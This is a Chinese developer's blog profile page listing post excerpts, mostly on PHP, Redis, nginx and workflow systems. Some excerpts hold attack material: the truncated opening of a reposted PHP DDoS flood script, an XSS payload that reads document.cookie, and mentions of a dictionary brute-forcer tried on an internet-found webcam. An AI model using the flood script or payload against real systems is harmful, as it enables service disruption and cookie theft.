自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(63)
  • 资源 (10)
  • 收藏
  • 关注

原创 用不了google翻译怎么办?

需要注意的是,在使用任何翻译服务时,都应谨慎选择和使用,确保其质量和准确性符合你的需求。

2024-03-08 17:07:12 432

原创 网站开发之旅:从概念到实现

同时,我也注重了网站的安全性和性能,采取了多种措施来防范SQL注入、跨站脚本攻击等安全风险,并对代码进行了优化,提高了网站的响应速度。在设计过程中,我注重了网站的视觉效果和用户体验,力求让网站在视觉上引人入胜,同时保证用户在浏览过程中的便捷性。这次网站开发的经历让我深刻地认识到了网站开发的重要性和挑战性。同时,我也感受到了完成一个项目的喜悦和成就感,这让我更加坚定了自己从事网站开发事业的决心和信心。在未来的工作中,我将继续努力学习和提升自己的技能水平,不断探索和创新,为更多的用户提供优质的网站服务。

2024-03-08 16:59:12 373

转载 memcache的原理和命中率的总结

1 Memcache是什么Memcache是danga.com的一个项目,最早是为 LiveJournal 服务的,目前全世界不少人使用这个缓存项目来构建自己大负载的网站,来分担数据库的压力。它可以应对任意多个连接,使用非阻塞的网络IO。由于它的工作机制是在内存中开辟一块空间,然后建立一个HashTable,Memcached自治理这些HashTable。为什么会

2023-09-06 21:13:25 123

原创 自媒体短视频怎么把文字转配音?

现在的自媒体短视频越来越火,平台也是非常多,包括抖单、快手、好看视频、B站视频、油管视频等等,里面有些视频并不是真实的人物发声,那他们是如何做到的呢?大街小巷中,商场或路边我们会看到叫卖的声音、宣传的声音,听起来也不像他们自己的声音,那他们又是怎么做到的呢?今天给大家介绍一个比较好用的方法。微信下拉打开搜索栏,输入“文字转语音BAO”点击搜索,在小程序里找到我们的小程序,小程序长下图这样​:打开后是如下的界面:输入我们要转换的文字,点击生成:点击试听可以听..

2021-04-08 17:56:44 1173

原创 redis使用pfadd问题

66ba1eaf24d4e5ee5318ffe10391a12c464ea1870c6cc584ffeb8017d990ef0a31639ffe69559e05c80f2e030b9602f72099eceecf3aa3a5de45cc5429950f8586d3f79e944ae7fb4af300506b31e8dd9df1b00f37fbadcd38aac33b35437c784...

2019-09-23 12:00:37 8416

原创 支付宝支付

支付宝手机网站支付调通了。感觉有必要记录下接入支付宝手机网站支付遇到的坑,就一个,花了一天的时间去调试。支付宝给的demo代码很想吐槽一下,给个原始demo不行,非要给个加了框架的demo?别人用还要把支付模块从框架中拆出来,又花去大半天时间,程序员何必为难程序员。这个坑重点提一下:应用私钥、应用公钥、支付宝公钥。应用公钥、支付宝公钥是不同的,不同的!!!!!!!!!!!!!!

2017-09-08 16:19:48 388

原创 大数组比较取差集中的优化

平时编程比较常用到,从两个数组中获取差集。先上我们平时常用的代码<?phpfunction getmicrotime(){ list($usec, $sec) = explode(" ",microtime()); return ((float)$usec + (float)$sec);}$start = getmicrotime();$a = $b = $

2016-12-26 20:02:47 804 1

原创 redis集群体验-安装与测试

版本Redis server v=3.2.3php扩展以下是全部内容修改配置port 9000 #端口pidfile /var/run/redis_9000.piddbfilename dump_9000.rdbdaemonize yes #守护进程cluster-enabled yes #启用集群cluster-config-file node

2016-09-06 10:08:03 481

原创 ImageMagick漏洞演示

centos安装wgethttp://downloads.jmagick.org/6.4.0/ImageMagick-6.4.0-0.tar.gztar zvxf ImageMagick-6.4.0-0.tar.gzcd ImageMagick-6.4.0-0./configure --prefix=/usr/locate/ImageMagick-6.4.0 --with

2016-05-05 14:34:06 2452 1

原创 把文件数据写入到图片像素中

做这个东西,是因为看到了乌云网友写的一篇文章 (http://drops.wooyun.org/tips/14568)。文章提供了一个数据传输的思路。在一台不能连网的虚拟机中运行软件,虚拟机只提供包含软件运行时的截图的分析报告。也就是说虚拟机的数据能通过图片显示出来,于是把虚拟机的文件写入到图片像素中,从而得到虚拟机的数据。 看到这文章时感到好惊艳,以前压根就没想过数据能

2016-04-16 16:38:33 2011

原创 linux下的c语言五子棋

学习c语言,参照网络资源写了一个c语言版的五子棋。人机对战为核心,也是难点,目前使用的是评分表的算法,即网络上说的“只顾眼前利益”的算法。这算法逻辑不复杂,但是效果惊人。目前和自己做出来的“电脑”对战,两盘都输了。评分表如下:分数电脑玩家空格11活二6050

2015-11-03 14:49:25 6188 1

原创 一个简单php版暴力破解程序

无聊写了个根据字典去破解用户名和密码的php程序,上菜花字典里面的一段在钟馗之眼里随便找了一个网络摄像头测试呵呵……网络慢,视频显示不出来

2015-05-28 15:26:55 1076

原创 今天项目中出现了一个xss漏洞

代码是这样的:xxxx.com/en/index?siteId=">alert(document.cookie)smarty get没做过滤的,有点坑

2015-05-27 10:51:32 436

原创 ueditor图片上传跨域问题

ueditor 置于A域,图片置于B域,B域需放flash跨域策略文件crossdomain.xml,如下 修改ueditor配置文件ueditor.config.js //图片上传配置区 ,imageUrl:"http://abupload.xxx.com/imageUp.php"

2015-04-21 09:25:20 3905

转载 Nginx使用的php-fpm的两种进程管理方式及优化

php-fpm目前主要又两个分支,分别对应于php-5.2.x的版本和php-5.3.x的版本。在5.2.x的版本中,php-fpm.conf使用的是xml格式,而在新的5.3.x版本中,则是和php.ini一样的配置风格。在5.2.x版本中,php-fpm.conf中对于进程管理号称是有两种风格,一种是静态(static)的,一种是类似于apache风格(apache-like)的。

2015-03-23 17:05:09 565

原创 OPcache

最近升级测试环境的php到php5.5.20,用上OPcache,擦,有的页面的加载速度提升了10倍,其他页面最少也快了3倍

2014-12-31 11:15:36 387

转载 Console命令详解,让调试js代码变得更简单

Firebug是网页开发的利器,能够极大地提升工作效率。但是,它不太容易上手。我曾经翻译过一篇《Firebug入门指南》,介绍了一些基本用法。今天,继续介绍它的高级用法。===================================Firebug控制台详解作者:阮一峰出处:http://www.ruanyifeng.com/blog/2011/03/firebug_

2014-12-12 11:56:49 356

转载 基于ZF中的.htaccess文件学习Apache的Rewrite语法

RewriteEngine On  RewriteCond %{REQUEST_FILENAME} -s [OR]  RewriteCond %{REQUEST_FILENAME} -l [OR]  RewriteCond %{REQUEST_FILENAME} -d  RewriteRule ^.*$ - [NC,L]  RewriteRule ^.*$ index.php [NC,L] 

2014-10-08 15:35:30 379

转载 http长连接与短连接

一、长连接与短连接:长连接:client方与server方先建立连接,连接建立后不断开,然后再进行报文发送和接收。这种方式下由于通讯连接一直存在。此种方式常用于P2P通信。短连接:Client方与server每进行一次报文收发交易时才进行通讯连接,交易完毕后立即断开连接。此方式常用于一点对多点通讯。C/S通信。二、长连接与短连接的操作过程:短连接的操作步骤是:建立连接—

2014-09-20 23:39:59 453

原创 sql注入公司的项目

这是在做公司的项目时发现的

2014-09-14 16:37:16 638

原创 做个有产出的程序员

工作这几年,突然发现知识的产出对一个程序员是非常

2014-09-14 16:13:18 511

原创 CodeIgniter观摩

CodeIgniter还挺小巧简单的,把CodeIgniter.php里的内容弄懂

2014-04-11 17:36:03 409

原创 strtr和str_replace效率探索

今天写代码用到字符串规制,就上网查了下strtr与str_replace的效率如何,网上一些地方说strtr比str_replace快四倍。半信半疑,自己就做了下测试。strtr比较怪异,用法这里不提。只做两种这两个函数可以替换用的测试例子。第一种list( $usec, $sec ) = explode(' ', microtime() );$star = $usec+$sec;

2014-03-28 11:25:23 647

原创 工单模块数据库设计

公司要求做工单系统,以工作流的方式来做。一开始时因为没接触过工作流机制,完全的理解错误了,第一版设计出来的完全不是工作流的方式。后来上网查询学习,看工作流开源引擎说明文档,才慢慢地有了个了解。后来又花了一段时间做了一个原型图设计文档出来,发给主管看了。他们也不知道什么时候做了讨论(没叫上我),说是太复杂,给“咔嚓”掉了。听到这个回复,我也没惊讶,心里只是有点小失望。从开始说要做个,到过程中的学习设

2014-03-11 22:27:16 13124 2

转载 fopen、file_get_contents、curl区别

1.       fopen /file_get_contents 每次请求都会重新做DNS查询,并不对 DNS信息进行缓存。但是CURL会自动对DNS信息进行缓存。对同一域名下的网页或者图片的请求只需要一次DNS查询。这大大减少了DNS查询的次数。 所以CURL的性能比fopen /file_get_contents 好很多。2.       fopen /file_get_contents

2014-03-11 10:37:39 1280

转载 ddos攻击代码

<?php//设置脚本运行时间set_time_limit(999999);//攻击目标服务器ip$host = $_GET['host'];//攻击目标服务器端口$port = $_GET['port'];//攻击时长$exec_time = $_GET['time'];//每次发送字节数$Sendlen = 65535;$packets = 0;//设置客户机断开不终止

2014-03-10 16:43:36 8446

转载 Php-SPL库中的迭代器类详解

SPL提供了多个迭代器类,分别提供了迭代访问、过滤数据、缓存结果、控制分页等功能。,因为php总是在不断壮大,我尽可能列出SPL中所有的迭代类。下面其中一些迭代器类是需要php5.4,另外一些如SearhIteratoer类在最新的php版本中已经去除1.ArrayIteratoer从PHP数组创建一个迭代器,当其和IteratorAggregate类一起使用时,免去了直接实现Iterat

2014-03-10 15:03:21 2165

转载 PHP SPL 介绍

简介SPLSPL是Standard PHP Library(PHP标准库)的缩写。根据官方定义,它是“a collection of interfaces and classes that are meant to solve standard problems”。但是,目前在使用中,SPL更多地被看作是一种使object(物体)模仿array(数组)行为的interfaces和cla

2014-03-10 14:51:30 595

转载 20140306

技术和思想需要分享,唯有分享,才能产生共鸣。太多时候是我们习惯性不愿主动开口跟别人交流,其实只要你放低自己,主动跟别人搭讪,会收到意想不到的效果。不管别人是测试的,业务的,乱七八槽的,都可以交流交流

2014-03-06 10:47:42 429

转载 Web开发过程流程图

最近公司在进行一系列新模块的开发,在痛苦开发的过程中,大家不时在一起进行总结等思维体操活动。上周六中午加班,几位同事一起聊了聊最近协同开发的感受,我从中受益匪浅。首先提到过于民主化的开发模式导致了交流成本的增加,这些成本分散了研发人员真正用于开发的精力,显得很不划算,但是针对这个现象,一直没有可行的解决 办法。其次是一些具体的合作开发模式导致无法控制整体进度。我们按照自己的思路,针对目前的实际

2014-02-26 18:18:06 7182

转载 web工作流管理系统开发之十四 流程设计器属性页面之实现篇

在工作流管理系统中,可视化流程设计器是必须要实现的。流程引擎可以是默默的运行,但流程设计器就必须要展现出来。所以界面的美观,操作简便易用,是必须要考虑的问题。 流程设计器,主要完成流程定义文件的建立和编辑,可视化的完成流程中各节点信息的增删改,并图形化的方式展现出一个业务流程。所以流程设计器需要完成基本的节点元素的创建,删除,移动,拖拽,连线等等,以及基本的undo,redo,

2014-02-19 18:27:43 1822 1

转载 web工作流管理系统开发之十二 同一张表单在流程多节点中流转的权限控件

以前写过一篇  表单权限与流程的权限控制;文章,没有具体的去实现,实践证明,同一张表单在多流程节点中流转,是工作流和电子表单必须要处理的问题。 工作流系统和电子表单相结合,达到同一张表单在流程的各个节点中的权限不同。 例如一张表单包含,录入部分信息,审核部分信息; 当表单在录入的时候,需要将审核部分信息全部屏蔽;当上级审核时,录入部分的信息需要只读,只能填写审核部分

2014-02-19 18:26:14 1145

转载 web工作流管理系统开发之十一 流程数据与业务数据的交互

通常工作流系统在设计之初,都会明确的区分流程数据和业务数据。工作流引擎只关心流程数据,为实现工作流的流转,会为工作流引擎设计一套工作流的表结构,来辅助流程引擎的实现。业务数据是千变万化的,为实现各自的业务,会设计一系列业务表。业务表,工作流系统是不关心的。但是工作流数据和业务数据又是交互的关联的。 1. 流程和业务数据的基本关联:为了将业务数据和流程数据关联起来,会有一个关

2014-02-19 18:24:47 956

转载 web工作流管理系统开发之四 自定义表单

在开发工作流管理系统时,很多人只重视流程引擎,流程模型的建立,而忽略了自定义表单工具。自定义表单工具是实现独立业务模块的可视化编辑工具,业务模块可以通过这种工具编辑生成。如果单纯从流程实现来说,确实自定义表单不是重点,流程实现了,可以挂接上表单就可以了。至于表单业务模块,可以是表单工具生成的,也可以是代码编写的表单,总之能用代码来实现的是最灵活的。       但实际上流程的每一个步骤的业务数

2014-02-19 17:58:45 4753

转载 web工作流管理系统开发之三 可视化流程设计器

在工作流管理系统中,引擎的所有的活动,驱动,和流转,都是以流程定义为基础而展开的。流程定义文件是流程能运行的先决条件,同时流程定义文件又是工作流引擎的设计基础,引擎必须要能生成,解释和获取到任意流程定义节点的信息。业务流程建模就是将一个具体的业务流程系统用流程定义文件来描述。而生成这个流程定义文件的可视化编辑工具就是流程设计器。      一般来说,只要是足够熟悉流程定义的各个步骤和节点的意义

2014-02-19 17:58:10 2425 1

转载 web工作流管理系统开发之二 工作流引擎

工作流引擎,主要是实现业务流程的规则抽象,模型的建立,解释,以及为流程实例提供运行环境,并解释执行流程实例。      工作流引擎必须要包含一个工作流模型的设计,工作流模型就是对业务流程抽象的一个模型,是整个工作流引擎的基础。所以模型设计的好坏决定引擎的功能是否灵活,也决定了工作流管理系统从设计实现到运行实施等诸多环节。   在信息管理自动化的环境下,工作流模型必须采用简单、直观、又具

2014-02-19 17:30:37 1436

转载 web工作流管理系统开发之一 工作流概念

曾经在2001年做CRM产品的时候,因为CRM产品的客户状态升迁,每个具体用户的升迁规则可能会不一样,技术主管说要集成一个工作流软件工具......,那是我第一次听说工作流。当时很不理解,这工作流软件如何能做到将业务流程定义进去呢?当然,那时候工作流软件工具还不成熟和完善,也或者我们也没有达到那个层次,后来终究还是没有用上工作流。        工作流软件,顾名思义,就是业务信息数据在

2014-02-19 17:30:01 1941

转载 工作流设计简介

转自http://www.cnblogs.com/lts8989/archive/2012/07/22/2570739.html适读人群:参与过工作流功能开发的程序员。(有可能你并不知道,你现在做的功能就是一个工作流功能)一、            什么是工作流举个很土的例子。程序员出差,回来后要报销票据。公司规定票据需要由员工所属经理审批,然后交由财务审批,财务审批通

2014-02-17 16:03:36 4294

原创 window下安装nodejs教程

一、下载这个nodejs的exe文件   http://nodejs.org/download/二、一路next就可以了。三、进入node.exe的文件目录,新建myapp文件夹(不建也行),然后到myapp里新建一个hello.js文件    varhttp = require('http');   http.createServer(function(req

2014-02-11 15:57:24 436

转载 socket阻塞和非阻塞的区别

转自http://kalogen.iteye.com/blog/670841简单点说:阻塞就是干不完不准回来,   非组赛就是你先干,我现看看有其他事没有,完了告诉我一声我们拿最常用的send和recv两个函数来说吧... 比如你调用send函数发送一定的Byte,在系统内部send做的工作其实只是把数据传输(Copy)到TCP/IP协议栈的输出缓冲区,它执行成功并

2014-02-11 15:19:05 424

mysql数据存储引擎介绍ppt

mysql数据存储引擎介绍ppt 主要内容为 MySQL体系结构 MySQL存储引擎 InnoDB存储引擎

2023-09-06

IOS环境搭建与开发入门(图文)

IOS环境搭建与开发入门(图文)

2013-07-27

14天学会安卓开发_(完整版)

14天学会安卓开发_(完整版)

2013-07-27

mhash-0.9.9.9.tar.gz

mhash-0.9.9.9.tar.gz

2013-07-27

memcache-2.2.5.tgz

memcache-2.2.5.tgz php linux

2013-07-27

libmcrypt-2.5.8.tar.bz2

libmcrypt-2.5.8.tar.bz2

2013-07-27

Linux中top的含义

top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况

2013-07-27

mysql常用命令

常用命令整理 uname -a 查看内核/操作系统/CPU信息 cat /proc/cpuinfo 查看CPU信息 cat /proc/meminfo 查看内存信息 getconf LONG_BIT 查看CPU运行在什么模式下 32/64 free -m 以M字节显示内存情况/查看内容使用情况

2013-07-27

Apache手册

Apache手册 chm格式

2013-07-27

php环境的搭建配置

LNMP环境的搭建配置(CentOS6.2+nginx1.1.15+mysql5.6+php5.3.10)

2013-07-27

Nginx配置文件详细说明

在此记录下Nginx服务器nginx.conf的配置文件说明, 部分注释收集与网络. #运行用户 user www-data; #启动进程,通常设置成和cpu的数量相等 worker_processes 1; #全局错误日志及PID文件 error_log /var/log/nginx/error.log; pid /var/run/nginx.pid; #工作模式及连接数上限 events { use epoll; #epoll是多路复用IO(I/O Multiplexing)中的一种方式,但是仅用于linux2.6以上内核,可以大大提高nginx的性能 worker_connections 1024;#单个后台worker process进程的最大并发链接数 # multi_accept on; } ………………

2013-07-27

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除